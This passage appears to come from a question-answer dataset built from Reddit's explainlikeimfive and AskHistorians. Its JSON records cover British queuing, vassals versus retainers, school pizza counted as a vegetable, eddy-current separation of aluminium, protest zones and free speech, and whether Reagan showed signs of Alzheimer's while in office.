you first\" or something.", "Unfortunately, and lamentably, this great British bastion of order is slowly being eradicated.\n\nOnce a tourist to these shores could see swathes of queues; and they were a positively inspirational sight. Rows of fine Englishmen; bowler hats, brollies, shiny black shoes. Rigid backs in a single, linear, fashion awaiting their turn in post offices, bakeries, and (for the untermensch) a portion of jellied eels. \n\nNow this fabric of great British patience is no more. Bus stops are like a rolling maul found on any rugger pitch at any private school (sans post-game huzzah). The lines at a pub are a free for all, apart from the local conservative club, of course where we queue orderly out of choice; a single tear rolling down our faces with the symbolic crash of a thousand oceans. Even the underground has fallen foul of this modern disregard to English traditions. The only orderly queues on the underground can be found on the jubilee line, when the bankers commute. Thank heavens for the bankers.\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.bbc.co.uk/news/magazine-23087024"], [], []]}
{"q_id": "6hql82", "title": "What is the difference between a vassal and a retainer?", "selftext": "I see both terms being used in medieval and feudal japanese history. If Knights and Samurai are counterparts to each other, why are knights referred to as vassals and samurai are retainers?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6hql82/what_is_the_difference_between_a_vassal_and_a/", "answers": {"a_id": ["dj0ehhw", "dj0yeud"], "score": [3, 3], "text": ["Vassals and retainers are actually interchangeable words in English language Japanese history. If you search vassal or retainer in the English-Japanese online dictionary,  Denshi Jisho, you'll find every Japanese word for these positions lists both vassal and retainer as meanings.", "Vassal and retainer are both used in European medieval historiography. The usual distinction is that a vassal is a landowner who owes military service to a larger landowner, while a retainer is a personal follower of a lord, part of his household, and not necessarily a knight. Knights could be either or both. Many young knights were landless and essentially military servants of greater men, while some landed knights also served in the household of great lords or kings."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "mg2at", "title": "why the us congress is trying to class pizza a vegetable", "selftext": "I've only seen the odd joke about it here and there, what are they actually doing it for? Is it in the interests of the pizza industry or something?  & #3232;\\- & #3232;", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/mg2at/eli5_why_the_us_congress_is_trying_to_class_pizza/", "answers": {"a_id": ["c30mf14", "c30mfns", "c30mwoy", "c30nleh", "c30ntaz", "c30nyqd", "c30oi90", "c30oyby", "c30p1li", "c30pr7p", "c30pw19", "c30pxno", "c30q3t3", "c30q4ic", "c30qcjc", "c30qgmx", "c30qkvd", "c30rbis", "c30rdj1", "c30sxdk", "c30ttrr", "c30y5iy", "c30mf14", "c30mfns", "c30mwoy", "c30nleh", "c30ntaz", "c30nyqd", "c30oi90", "c30oyby", "c30p1li", "c30pr7p", "c30pw19", "c30pxno", "c30q3t3", "c30q4ic", "c30qcjc", "c30qgmx", "c30qkvd", "c30rbis", "c30rdj1", "c30sxdk", "c30ttrr", "c30y5iy"], "score": [317, 24, 187, 44, 4, 6, 19, 4, 13, 3, 2, 11, 5, 2, 2, 6, 3, 5, 2, 3, 2, 2, 317, 24, 187, 44, 4, 6, 19, 4, 13, 3, 2, 11, 5, 2, 2, 6, 3, 5, 2, 3, 2, 2], "text": ["Food in school has to meet various nutritional requirements. It had to include like 1 serving of veg, 1 serving of protein or whatever. \n\nIt was lobbied by the food manufactures that the tomato paste used as sauce on school pizzas should be considered a vegetable. \n\nIt ends up being more cost effective, although obviously not better for the students. ", "this was posted this morning on here.. read the responses on this post:  _URL_0_", "The Obama health initiative requires more vegetable servings and less junk food. \n\nBig corps didn't like the fact that their food wasn't being served in the cafeteria so they lobbied. These big corps are mostly salt, tomato paste, and cheese I think? Not sure about those, but anyways, they spend millions lobbying that pizza is full of tomato sauce, so it should be considered a vegetable. It passed.\n\nSo essentially yes it is all in the pizza industries interests. The voices of parents that are trying to help kids eat more healthy means nothing if you have companies like this lobbying their interests. Just another proof of how our whole government is bought out.", "Herman Cain is pleased.", "I'm guessing it's the wheat industry grabbing Congress by the 'nads. Seeing as school pizza is mostly flour.", "Because this is a conflict between the interest of food companies, who want to be able to sell more unhealthy food to kids, against the interest of the health of schoolkids facing an obesity epidemic.\n\nThe food companies more lobbyists and campaign contributions, so they win.", "This is somewhat unrelated, but I think we should reduce Congress' food budget and feed them only what is offered in school lunches. I think that would produce some change pretty quickly.", "[This has happened before.](_URL_0_)", "Now, I'm not one of the types to state that idiocracy is becoming true, but...\n\n***BRAWNDO: IT'S GOT WHAT PLANTS CRAVE!***", "Does anyone else think questions like these are ruining the intellectual weight of this subreddit? The pizza/vegetable thing a new issue. Do a little research. The wiki page has plenty for such an honestly simple predicament (however stupid it is.) ", "I don't know, therefore aliens.", "There is a movement to improve the nutritional quality of school luches (Michelle Obama is a major proponent), and the USDA is readjusting their serving size and food pyramid recommendations, as well. \n\nCongress passed the yearly spending bill today. Included in the budget are school lunch subsidies, which is money that the government reimburses to schools that meet certain nutritional guidelines. According to the **congressional guidelines**, the amount of tomato paste required to be on a slice of pizza for it to considered a vegetable serving is 2 tablespoons, while the **USDA** states that is should be at least 1/2 cup (8 tablespoons, or 4x more). \n\nThe headlines are very sensationalized, since the 2 tablespoons on a piece of pizza have counted as a vegetable for many years, but since there has been such a big push for better school lunches, people are upset that Congress did not readjust the serving sizes required to get subsidies to match even the USDA recommendations. ", "YSK: the \"ELI5\" is superfluous when asking questions about congress. ", "Non US person here, just curious how common is it for kids to bring their own lunch?  ", "Your system is corrupt as fuck.  Corporations make money by selling shitty food to schools.  They bribe (re: lobby and donate to) politics, and get their way as always.", "This just in Cardboard is Meat. And grape drink is Milk.\n\n", "As a canadian, was hoping that this was some metaphor about the chaos that's happening in the US right now, but alas, no.", "Why the fuck are we letting the Federal Government tell our children what to eat? That should be a local issue.", "This was an issue under Reagan as well. Part of it is a consideration of what kids will eat: If you serve them broccoli, and practically none of them eat it, you're wasting time and money and you might as well have put styrofoam there. Pizza gets eaten.\n\n[Here is an informative column the about the Reagan-era stab at this, which was better known for classifying ketchup as a vegetable.](_URL_0_)", "That's like the Bill Cosby but where he tells his wife it is ok for their children to eat chocolate cake for breakfast. It has eggs, milk, flour, etc.", "JOBS! JOBS! JOBS!", "This is a perfect example of what the Occupiers are on about.  Here we have the gov't doing something in favor of the corporations and at the expense of the greater good of society.  \n\nAlso, that sauce is fucking full of sugar.  It's all low grade poison.", "Food in school has to meet various nutritional requirements. It had to include like 1 serving of veg, 1 serving of protein or whatever. \n\nIt was lobbied by the food manufactures that the tomato paste used as sauce on school pizzas should be considered a vegetable. \n\nIt ends up being more cost effective, although obviously not better for the students. ", "this was posted this morning on here.. read the responses on this post:  _URL_0_", "The Obama health initiative requires more vegetable servings and less junk food. \n\nBig corps didn't like the fact that their food wasn't being served in the cafeteria so they lobbied. These big corps are mostly salt, tomato paste, and cheese I think? Not sure about those, but anyways, they spend millions lobbying that pizza is full of tomato sauce, so it should be considered a vegetable. It passed.\n\nSo essentially yes it is all in the pizza industries interests. The voices of parents that are trying to help kids eat more healthy means nothing if you have companies like this lobbying their interests. Just another proof of how our whole government is bought out.", "Herman Cain is pleased.", "I'm guessing it's the wheat industry grabbing Congress by the 'nads. Seeing as school pizza is mostly flour.", "Because this is a conflict between the interest of food companies, who want to be able to sell more unhealthy food to kids, against the interest of the health of schoolkids facing an obesity epidemic.\n\nThe food companies more lobbyists and campaign contributions, so they win.", "This is somewhat unrelated, but I think we should reduce Congress' food budget and feed them only what is offered in school lunches. I think that would produce some change pretty quickly.", "[This has happened before.](_URL_0_)", "Now, I'm not one of the types to state that idiocracy is becoming true, but...\n\n***BRAWNDO: IT'S GOT WHAT PLANTS CRAVE!***", "Does anyone else think questions like these are ruining the intellectual weight of this subreddit? The pizza/vegetable thing a new issue. Do a little research. The wiki page has plenty for such an honestly simple predicament (however stupid it is.) ", "I don't know, therefore aliens.", "There is a movement to improve the nutritional quality of school luches (Michelle Obama is a major proponent), and the USDA is readjusting their serving size and food pyramid recommendations, as well. \n\nCongress passed the yearly spending bill today. Included in the budget are school lunch subsidies, which is money that the government reimburses to schools that meet certain nutritional guidelines. According to the **congressional guidelines**, the amount of tomato paste required to be on a slice of pizza for it to considered a vegetable serving is 2 tablespoons, while the **USDA** states that is should be at least 1/2 cup (8 tablespoons, or 4x more). \n\nThe headlines are very sensationalized, since the 2 tablespoons on a piece of pizza have counted as a vegetable for many years, but since there has been such a big push for better school lunches, people are upset that Congress did not readjust the serving sizes required to get subsidies to match even the USDA recommendations. ", "YSK: the \"ELI5\" is superfluous when asking questions about congress. ", "Non US person here, just curious how common is it for kids to bring their own lunch?  ", "Your system is corrupt as fuck.  Corporations make money by selling shitty food to schools.  They bribe (re: lobby and donate to) politics, and get their way as always.", "This just in Cardboard is Meat. And grape drink is Milk.\n\n", "As a canadian, was hoping that this was some metaphor about the chaos that's happening in the US right now, but alas, no.", "Why the fuck are we letting the Federal Government tell our children what to eat? That should be a local issue.", "This was an issue under Reagan as well. Part of it is a consideration of what kids will eat: If you serve them broccoli, and practically none of them eat it, you're wasting time and money and you might as well have put styrofoam there. Pizza gets eaten.\n\n[Here is an informative column the about the Reagan-era stab at this, which was better known for classifying ketchup as a vegetable.](_URL_0_)", "That's like the Bill Cosby but where he tells his wife it is ok for their children to eat chocolate cake for breakfast. It has eggs, milk, flour, etc.", "JOBS! JOBS! JOBS!", "This is a perfect example of what the Occupiers are on about.  Here we have the gov't doing something in favor of the corporations and at the expense of the greater good of society.  \n\nAlso, that sauce is fucking full of sugar.  It's all low grade poison."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/explainlikeimfive/comments/mfpx5/eli5_was_pizza_actually_declared_a_vegetable_or/"], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Ketchup_as_a_vegetable"], [], [], [], [], [], [], [], [], [], [], ["http://www.straightdope.com/columns/read/2517/did-the-reagan-era-usda-really-classify-ketchup-as-a-vegetable"], [], [], [], [], ["http://www.reddit.com/r/explainlikeimfive/comments/mfpx5/eli5_was_pizza_actually_declared_a_vegetable_or/"], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Ketchup_as_a_vegetable"], [], [], [], [], [], [], [], [], [], [], ["http://www.straightdope.com/columns/read/2517/did-the-reagan-era-usda-really-classify-ketchup-as-a-vegetable"], [], [], []]}
{"q_id": "61f3hs", "title": "i heard that recycling plants use magnets to sort aluminium from the rest of the rubbish. how, when aluminium isn't magnetic, does this work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/61f3hs/eli5_i_heard_that_recycling_plants_use_magnets_to/", "answers": {"a_id": ["dfe0agp", "dfe2lab", "dfe2xpw", "dfe3uam", "dfe3xkr", "dfe4yrc", "dfe526h", "dfe59en", "dfe5vy5", "dfe67tc", "dfe6zgm", "dfe77wt", "dfe7ajm", "dfe7cr1", "dfe8c9o", "dfe9726", "dfe9896", "dfeaefi", "dfef4n2", "dfefop0", "dfefxfg", "dfeho78", "dfekyut", "dfemcdo", "dfer46v", "dfercqn", "dfezuz3"], "score": [9264, 18, 303, 4, 2, 2, 77, 7, 2, 2, 3, 2, 19, 6, 2, 3, 12, 2, 11, 2, 2, 82, 2, 2, 2, 7, 2], "text": ["They use alternating current to magnetize the sorting magnet. If you use permanent magnet then aluminium will not be attracted to it, but if you put aluminium in magnetic field that constantly changes direction this magnetic field will generate electric curent inside the aluminium. When electric curent flows trough metal it generates magnetic field and the aluminium becomes small magnet with opposite poles as the magnetic field that generated the current in the aluminium. But the current inside the aluminium is not permanent, it's only short spike of current so if the outside field stayed the same the aluminium would stob being magnetic after a split second. But the outside field keeps changing back and forth that means the spike of current in aluminium keeps occuring and the aluminium is attracted to the magnet.\n\nEdit 1: It was pointed out to me that I got the directions wrong. The aluminium would be pushed away from the magnet. Writing it here so I won't confuse people.\n\nu/intjengineer linked a video of this in action. Linking it here in case it gets burried in the replies. If you can find his comment uvote it so it can be visible for others. [video](_URL_0_)\n\nEdit 2: OMG I am internet famous now! What will I do with all this sweet karma?", "Everything is magnetic in a strong enough field. [Even this frog](_URL_0_) ", "In a word, electromagnetism.  \n\nYou're probably familiar with electromagnetism, it's creating a magnetic field by running current (in other words, moving electric charge) through a conductor. You can make [a simple electromagnet at home](_URL_2_) to show that this works.\n\nThe opposite also happens, when you move a magnetic field across a conductor it will induce current. This is how we generate most electricity: steam from burning coal, water from a dam, or wind is used to rotate magnets past coiled wires.\n\nSo, now, what happens when you  try and [move a magnet across a piece of aluminum](_URL_0_), which is conductive. As the magnet \u2013 and its magnetic field \u2013\u00a0move, it creates electricity (specifically called eddy currents) inside the aluminum. These currents, in turn, create a magnetic field, and this magnetic field opposes the motion of the magnet. \n\nThis can be used then, to separate metal from non-metals. By rapidly moving magnets (or using a quickly changing electromagnet), conductive materials are induced to move, and a setup is made where metal objects will be thrown forward, and non-metals fall from gravity. This, then, is the [eddy current separator](_URL_1_).", "Generally speaking if a material will conduct electricity at all (even barely) it is subject to this...", "There's a lot of new different ways of sorting metal being utilised now, often a lot more expensive than magnets, some use air knives with infrared/X-ray detection systems etc and they just blow selected material types onto the adjacent line", "You can experiment this yourself too. Get a copper pipe, and slide a magnet right through it. Watch the magic unfolds ", "Im on mobile so sorry for the formatting. \nI'm an Engineer working in the scrap industry. My job is to design facilities that shred metal and sort/recover different material types. We use a machine called an eddy current separator to recover a \"Zorba\" package. Zorba is just a fancy name for mostly aluminum. The eddy current separator is a conveyor belt with a permanent magnet at the head. The magnet is arranged with alternating poles and it spins very fast. This creates and \"eddy current\" which will make non ferrous materials like aluminum sort of jump when they travel over the magnet. We use a splitter plate to separate the material jumps from the material that doesn't. Take a look at this video \n_URL_0_\nIt's a bit dated, but this is one of our non ferrous recovery plants. The eddy current separator is shown working at about 1 minute. ", "As trash is getting sorted, you have a magnet that passes over the conveyor that separates all of the ferrous metals away from the rest of the garbage.\n\nThen, down the line, another magnet appears at the side, and this one creates and eddy field that pushes Aluminum off of the main conveyor on to another one at the side.", "Aluminum has magnetic properties when it spins above a certain speed. \n\nNot sure if this property is used in those plants however:\n\nI had a table at work for a while whose top was about 2 feet in diameter and made of a thick disk of aluminum with a pineapple-sized motor attached in its center below. \n\nWhen it was stationary(unplugged), magnets placed on the table stayed in place by gravity. When it was plugged in and got up to speed, magnets were repelled. It was very interesting and a lot of fun to show kids at family day because most people expect aluminum to have no magnetic properties. \n\nThe device made a roaring sound when plugged in and was about 2 feet tall and had a thin disk of clear plastic so it wasn't as dangerous as it sounds but was of a size kids are able to see and interact with easily. \n\nIt came with a \"dog\" whose body was a short wood dowel about 5 inches long whose legs were attached to two little skids, each with two rare earth magnets as the feet. The dog was tethered by strings to the edge of the table (possibly an afterthought of a safety measure). \n\nWhen I first plugged the motor in and saw the way the dog was floating and could be moved to brake the motion of the aluminum disk, I knew it was marvelous. Not sure where it is now, due to multiple office moves in subsequent years. ", "People do the sorting. They stand along the many conveyor belts separating material by hand. The magnets are just there to catch things they miss. The magnets do nothing for aluminum cans.", "Aluminum is not magnetic, some facilities use an eddy current system to sort mixed metals. \n\nEdit I work in the metal recycling industry....", "We'd pull the aluminium out by hand as the waste went by on a conveyor. The magnet would pick up ferrous metals and be cleaned off periodically. I worked for a waste company for 4 years.", "So how do your recyclables get sorted in America? They combine plastic, metals, and glass all in one bin, isn't it hard/costly to separate? Is regular yeah just dumped?\n", "Or the use the magnet to catch all the ferrous metals like steel or iron and what you left with is aluminum, copper, tin.", "Magnetism is a matter of degrees, not black or white. Everything has magnetic properties, some more than others. Iron is very magnetic, but water is not. Yet you can move water with magnetic forces.", "Alternately they grind everything up and drop it into a conveyer belt. This belt has sensors that can identify all kinds of stuff in various ways. From there it is dropped into a chute that shoots each piece with air jets to push it into the correct hole that lead to collection bins.", "Fun fact, aluminum is one of the only cost effective things to recycle. Things like paper, glass, and plastic are all cheaper to produce from scratch than recycle. Extracting aluminum from bauxite is more expensive than getting it from the recycling process.", "I know that the electromagnetic explanations are correct, but can we ignore that if using a permanent magnet to pull ferrous metals out of a bunch of aluminum, you're still sorting the aluminum by separating it from the rest? ", "I like all the good science here, but it is important to note that the use of electromagnets will create currents in ALL metals.\n\nMost metals in trash are Iron (steel) or aluminum.  Once electromagnets remove all metals from nonmetals, then one can separate the iron/steel from aluminum because aluminum is not magnetic in a static magnetic field, while iron is.  All the other metals are likely to sort with the aluminum, but the quantity is low enough that the recycling process for aluminum can likely remove them from aluminum prior to its use.", "Actually, technically anything can become magnetic, that's how an MRI works. The explanation of why things are magnetic isn't exactly ELI5 but basically electrons have magnetic fields, and when you align the electrons in an atom, the magnetic field gets stronger. So old lockers in a high school, for instance, are slightly magnetic due to sitting in Earth's magnetic field.", "They use alternating current to magnetize the sorting magnet. If you use permanent magnet then aluminium will not be attracted to it, but if you put aluminium in magnetic field that constantly changes direction this magnetic field will generate electric curent inside the aluminium. When electric curent flows trough metal it generates magnetic field and the aluminium becomes small magnet with opposite poles as the magnetic field that generated the current in the aluminium. But the current inside the aluminium is not permanent, it's only short spike of current so if the outside field stayed the same the aluminium would stob being magnetic after a split second. But the outside field keeps changing back and forth that means the spike of current in aluminium keeps occuring and the aluminium is attracted to the magnet.\n ", "So everyone here is talking about how eddy currents and magnets are used, but that's just the automated part of the process. I worked at a scrap yard for a while, I'll tell you what I and a dozen other people did every day. After going through the shredder, all the material is sorted into 2 conveyor belts. Belt #1 extends upward at a 45 degree angle, to about 30 feet off the ground where it dumps it's material over a wall and straight into train cars. Belt #2 does not move at a very slight downward incline and snakes around to dump it's material in a dumpster. \n\nBelt #1 moves at 35mph, and carries everything that the sorter deemed as nonferrous metal (aluminum) straight into a train car.\n\nBelt #2 moves at about 1mph and vibrates, rumbling all the non metallic waste to the dumpster. \n\nSo after the machine does it's sorting, the rest of us go to work. Line #1 has 8-10 people on it because mixed in with the aluminum are things that have copper, brass, or are actually waste, which need to be sorted (copper and brass are worth more, aluminum load is worth less when it has too much chaff mixed in). So you have these guys standing in the air, rapidly sticking their hands in a stream of fast moving sharp metal obejcts and tossing motors and random brass/copper items over their shoulders into bins on the ground, plucking loose wires (copper) and stuffing them in 5gallon buckets, and tossing garbage onto tje ground. This process entails 15 pound motors slipping from someone's hands on the top and tumbling backwars down the belt in a clang-spinning death roll that everyone clears their hands from the path until the crazy guy (me) lets their hand get smashed when they grab it and toss it in the bin. It also entails thousands of sharp metal bits slicing your forearms and puncturing your gloves as it races past whatever item you're plucking from the line. This is not a job for hand models.\n\nBelt #2 moves much slower, and is much safer. 1 person works this belt, and it is full of the trash. Most of the stuff that went through the shredder was cars. So belt #2 is full of cushion material, plastic, seatbelts, steering wheels, and whatever people left in their car/trunk. Easily 95% of what gets plucked out of this line is just wire. It's slow, boring, and the entire line smells like a twice steamed chili fart, but you don't risk losing any fingers or hands to a rogue motor.\n\nHere is a neat anecdote. I mentioned we shred cars, the teeth of the shredder are each 2 ton titanium hammers, there is about a 1/16th inch gap between them. This machine reduces cars to tiny tiny bits. One day I was working the #2 belt and saw a piece of leather sticking out. I grabbed it and to my shock it was a completely in tact Bible. If I were to take a page from the bible and put it in the next car, the page would be unidentifiable as something from a boom when it came out the other end, either tiny shreds or pulp. Yet somehow this bible survived the entire process completely unscathed. It's now the only bible I own.\n\nTl:dr After a machine sorts the metal, human beings risk losing their fingers, hands, and sense of smell, to manually sort what the machine missed. ", "Magnetic conveyor belts attract any Martensitic materials (metals containing carbon  &  iron) like most mild and stainless steels.  Aluminum is free of iron or non magnetic when the conveyor flips upside down the aluminum, plastics and other materials fall away leaving only the different steels behind. The different types of steel and mostly be melted together and recycled.  ", "Look up Eddy Current Separators [HERE](_URL_1_) and [HERE](_URL_0_).  \n\n\"An eddy current separator uses a powerful magnetic field to separate non-ferrous metals from waste after all ferrous metals have been removed previously by some arrangement of magnets. The device makes use of eddy currents to effect the separation.  The Eddy current separator (ECS), is a conveyor tape made with a particular magnetic field in the head, which is generated by high frequency polar wheel: when the non-ferrous metals are coming near to the magnetic field, they are lifted and \"expulsed\" to one appropriate collecting canal, while the inert materials freely fall down to another container.\" Here is a good [video](_URL_2_) of it.", "Changing magnetic fields are repelled by aluminum and copper.\n\nI've seen a video (sorry, don't got link, it was a long time ago) of a scrap separator thing that had fast conveyor belt that flung the trash past a magnet, regular trash would go in the middle, magnetic metals would have their trajectories altered by the magnet to go lower, and aluminum and copper would go higher; with each type of trash ending up in separate bins.\n\n|\n\nedit: Or maybe aluminum and copper would go lower, and the other metals higher, I don't remember.", "A moving magnetic field can create an electric current in anything that conducts electricity^1.\n\nCurrents created this way also make magnetic fields of their own.  These fields always push against the magnet that induced/made them.  \n\nIn a recycling plant, a conveyor belt flings mixed rubbish into a bin.   A set of super strong magnets spins on a roller underneath the end of the conveyor.\n\nWhen rubbish that can conduct electricity - like aluminium - passes over the magnets, they interact.  \n\n1. The magnetic field gets close to the aluminium, and induces a current in the metal.\n\n2. The current in the aluminium creates a magnetic field.\n\n3. This field pushes back against the magnets under the conveyor.\n\n4. The magnets continue to spin.  This moves their magnetic field closer to the aluminium.\n\n5. The magnetic field around the aluminium continues to push back.\n\n6. The magnets push harder than the aluminium can push back, flinging it off the conveyor faster than other rubbish.\n\n7. Aluminium and other conductive metals are flung into a farther bin than the other rubbish.\n\n^1. This is how electric generators/dynamos work.  Steam spins magnets inside a copper coil, creating a current.  The magnetic field more or less 'pushes' the electrons around the wire, and electrons moving *en masse* like this are what we call electric current.", "I work in the industry and it is a simple process- metal sticks to a mag and the non ferrous stays behind. Scrap prices suck right now and for the foreseeable future, so if you have anything to get rid of , don't expect much. :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=9wUYDfvxlZ8&amp;feature=youtu.be"], ["https://youtu.be/A1vyB-O5i6E"], ["https://www.youtube.com/watch?v=gWhxDqY45YI", "https://www.youtube.com/watch?v=_38kiL3cR6w", "https://upload.wikimedia.org/wikipedia/commons/9/92/Homemade_Electromagnet.jpg"], [], [], [], ["https://youtu.be/Oy18FVXb_7Q"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.cogelme.com/eng/e-eddy-current-metal-separator.htm", "https://en.wikipedia.org/wiki/Eddy_current_separator", "https://www.youtube.com/watch?v=QQ6ZC9MKNAw"], [], [], []]}
{"q_id": "5gmwh7", "title": "how is it still considered free speech if they have designated \"protest areas\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5gmwh7/eli5_how_is_it_still_considered_free_speech_if/", "answers": {"a_id": ["datfyps", "datg187", "datg3ap", "datmk0j", "datqgb5", "datrdvc", "datvada", "datvj0s", "datwcri"], "score": [2, 5, 19, 114, 2, 3, 9, 6, 2], "text": ["Yes. \n\nThe purpose of protest areas is to ensure public safety and to clearly define when you transition from protest into illegal riot/danger to the public. A protest does not block traffic, it does not prevent people from entering buildings, it does not damage or destroy property. Doing those things makes you a threat and robs your stance of all meaning. You turn yourself into a common criminal and destroy the legitimacy of the thing you are trying to protect. ", "free speech is freedom for being persecuted for your speech by the government. they still have the right to limit your speech for things like public safety and order, for example. if your protesting creates traffic in a major city, then your speech is impacting public order. which is also why it's a crime to yell fire in a public place. ", "It is a hotly debated legal argument.  The justification is for keeping the peace or public safety, which is another requirement of government.\n\nUnder Bush, the idea of \"free speech zones\" was expanded and there are many allegations that protesters are given less access than supporters.  This is obviously problematic because if you are going to have zones you have to be consistent.\n\nAdditionally, Obama took it even further in 2012 when he signed a bill that granted the Secret Service to restrict speech and even make arrests of people exercising their freedom of speech rights.\n\nACLU response: _URL_0_", "Lawyer here:\n\nPeople often cite the First Amendment with the understanding that it gives you carte blanche to say 1) whatever you want 2) in any situation 3) without consequence.  Nothing could be further from the truth.\n\nIn fact, you very much want certain types of speech to be forbidden.  Good examples include \"fighting words\" (intended to incite an immediate breach of the peace), obscenity, and child pornography.  What you have to understand in those examples is that \"speech\" in the context of the First Amendment more closely resembles the plain English definition of \"expression\".\n\nProtest is an enumerated right of \"expression\" for citizens, but you will notice that it is almost always preceded by the adjective \"peaceful\".  By the very nature of protest generally, participants can very quickly enter the realm of hate speech or fighting words which, if not suppressed quickly, can lead to injury or loss of life.  No matter the protestors' declared intentions or the messages they wish to convey, this threat is very real.  Therefore, governments will often confine and monitor protests to prevent escalation, sometimes going so far as to forbid anything that isn't scheduled, approved, or confined.  Spontaneous protests often lead to arrests of the participants, who will cite the First Amendment as their shield.  They can expect little traction on such a legal defense since public safety is deemed paramount to unfettered expression of one's thoughts/emotions.  And rightfully so, if I may editorialize.\n\nEDIT: Removed \"hate speech\" from examples of First Amendment exceptions.  Added obscenity.", "You have a right to complain to the President.  You can write letters to him.  You can call his office.  You can go to the white house and hold a sign outside of it.\n\nBut can you, and the other 300,000,000+ people in the country go into the President's office and shout at him while he tries to negotiate a trade agreement?  Would anything ever get done by government if you could do anything even close to that?  No.\n\nIf the government wants to build a road, and you sit down on the ground where the road needs to go and refuse to move, can you stop the road from ever being built if you just keep that up?  No.  Nothing would ever be built if that were the case.  Someone, somewhere, always objects to everything.  They need to have their say, but just because one person disagrees doesn't mean we stop doing things.", "I see lots of comments about the US, but I know here there is mostly the requirement to notify the council about your protest beforehand primarily to avoid six different groups all trying to do a protest in the same place (yes this happened in the past). Also, if two groups who are known to start fighting when they see each other it better if they are far away from each other, and make sure the police know about it.", "Freedom of speech merely means you can't be persecuted based on speaking your opinions.  However, you are still obligated to follow the many other laws there are. \n\nA designated protest area is merely meant to give you a place where you can practice your free speech without causing other disturbances.\n\nFor example, if you want to protest, but you do it in the middle of a major highway, you are breaking the law and causing potential public safety issues.  You won't be arrested for your speech, but you will be arrested for your acts.\n\nAnother thing to note is that certain types of things are illegal and they involve speech.  You cannot hide behind the first amendment in those situations.  (i.e. you can't goto a bank and say, 'gimme all your money or I'll shoot you' and claim that you have the right to do so because of freedom of speech, regardless of whether you intend to follow through or not).\n\nWhat freedom of speech does protect you from is things like going on the internet and posting on twitter saying \"our president is a complete douchebag and a liar.\"  This is something you can get arrested for in certain countries that don't give you this protection.", "I've seen several answers about why you want some speech to be disallowed, but nothing specifically about why \"protest areas\" work under the Constitution.\n\nThe ELI5 answer is that the Supreme Court has said that while the government can't restrict the *content* of your speech, they're allowed to make reasonable restrictions to the *time, place, and manner* of that speech when there is a good reason to do so.\n\nSo the designated protest areas are allowed because they don't force you to change what you're going to say; they just make sure that you aren't being too disruptive or unsafe when you're saying it.", "Because poorly trained police lacking any culture of professionalism whatsoever don't show up and start indiscriminately cracking skulls. Travel a bit, say South America, to put what America represents in better perspective."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.aclu.org/blog/how-big-deal-hr-347-criminalizing-protest-bill"], [], [], [], [], [], []]}
{"q_id": "23smsc", "title": "In hindsight, were there legitimate signs that Ronald Reagan's Alzheimer's had manifested (undiagnosed) during his presidency?", "selftext": "First, I know Reagan is to this day, still a political lightning rod, but I want to take the risk of asking, anyway.\n\nMy mother's husband was diagnosed with Alzheimer's last year, from my own experience in hindsight, there were indication of memory issues, confusion, etc., from much earlier on that were simply neglected for years until the degenerative effects become problematic and eventually unmanageable.  In fact, his diagnosis explained much of the things that struck me as \"off\" about him when I met him in the first place, more than ten years before his official diagnosis.\n\nFrom my tangential reading of political and popular commentary of the 1980's, Reagan was  lampooned by satirists and critics for seeming  slow-witted and absent-minded, or appearing to have almost a childlike innocence.  [This caricature of Reagan played by Phil Hartman in an SNL skit  about the Iran-Contra scandal is one such example.](_URL_0_).  In the skip, the slow, unwitting, nice-old-man public Reagan is portrayed as an act juxtaposed with a secretly vigorous and dynamic mastermind behind closed doors.  Forgive me if I am miss-characterizing his perception, but is there any basis for the speculation that Reagan was already suffering from the mental deterioration of his disease while in the White House, much earlier than his diagnosis?  If so, is there any reason to believe that this impacted the decisions and outcomes of his administration?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/23smsc/in_hindsight_were_there_legitimate_signs_that/", "answers": {"a_id": ["ch0ihfp", "ch0szut"], "score": [119, 13], "text": ["Edit: I misattributed /u/Nadarama and what he said, for that I apologize! I've amended my statement to reflect that.\n\n/u/Nadarama suggests that the consistent \"I don't recall\" or \"I don't remember\" statements Reagan made during the Iran-Contra hearings could be due to Alzheimer's, though it's not definitive. This is a legitimate hypothesis, I would like to reiterate, and one I agree with. As noted in \"Ronald Reagan's Presidency: The Impact of an Alcoholic Parent\":\n\n > Some may attribute Reagan's words [in the hearings] to early signs of the Alzheimer's Disease that was diagnosed in 1994; others to the self-delusions that so commonly characterized his behavior throughout his life.\n\nReagan had a complex life, and as the title implies, a quite impactful childhood. There's no way to really know if this was a manifestation of that, or if he had early signs of Alzheimer's. Doing some more research into the subject, I did manage to find a thing or two. The best source I found was a November, 1994 article revealing his diagnosis and details about it, in the New York Times.\n\nIn November of 1994, Reagan's doctors revealed that they had been considering a diagnosis of Alzheimer's for a year. It was also revealed by an unnamed associate of Reagan that he'd been having a definite memory problem for two years. That would place the memory issues as definitively being noticed in 1992 by close friends of Reagan.\n\nIn 1994, a statement from his doctors said he was \"entering the early stages of this disease.\"\n\nIt's definitely plausible that he was suffering to some degree during the 1990 hearings (those were the Iran-Contra ones), considering he couldn't remember the name of his chief-of-staff. However, the chances of it manifesting during his Presidency were a bit lower. While he did have memory \"farts\" and did have some issues with memory, he also was *very* public and careful about \"senility\". He announced publicly in 1980 that he wanted to be watched for \"senility\", and reportedly got checked by his doctors very often.\n\nWhile some experts believe that Alzheimer's was not usually diagnosed unless all other possibilities were ruled out, which was very rare with public, important, or well-liked patients, that isn't to say that they didn't check. And they did, often, according to the New York Times article as well.\n\nLooking at the [stages of Alzheimer's](_URL_0_), it's very possible to say that by 1990 he had entered the second stage, since he couldn't remember some things like names, but it was really noticeable only in 1992 to his friends, and I think it's safe to say that's probably 